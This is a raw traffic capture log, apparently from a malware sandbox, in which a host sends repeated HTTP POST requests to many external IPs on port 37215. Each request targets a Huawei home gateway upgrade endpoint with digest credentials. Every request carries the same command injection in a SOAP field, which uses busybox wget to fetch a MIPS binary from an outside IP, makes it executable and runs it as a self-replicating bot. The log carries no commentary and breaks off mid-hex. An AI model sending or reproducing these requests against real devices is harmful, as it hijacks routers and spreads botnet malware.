Aug 1, 2024 15:34:55.606060982 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	46340	41.15.250.54	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606117964 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	43924	197.82.231.104	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606123924 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	46202	41.243.78.48	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606137037 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	58748	41.102.235.147	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606178045 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	43680	222.142.83.55	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606211901 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	60640	197.95.7.206	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606241941 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	53386	41.236.40.252	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606293917 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	36174	157.121.143.74	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606313944 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	59862	41.219.67.173	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606343985 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	48754	41.147.162.230	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.606348038 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 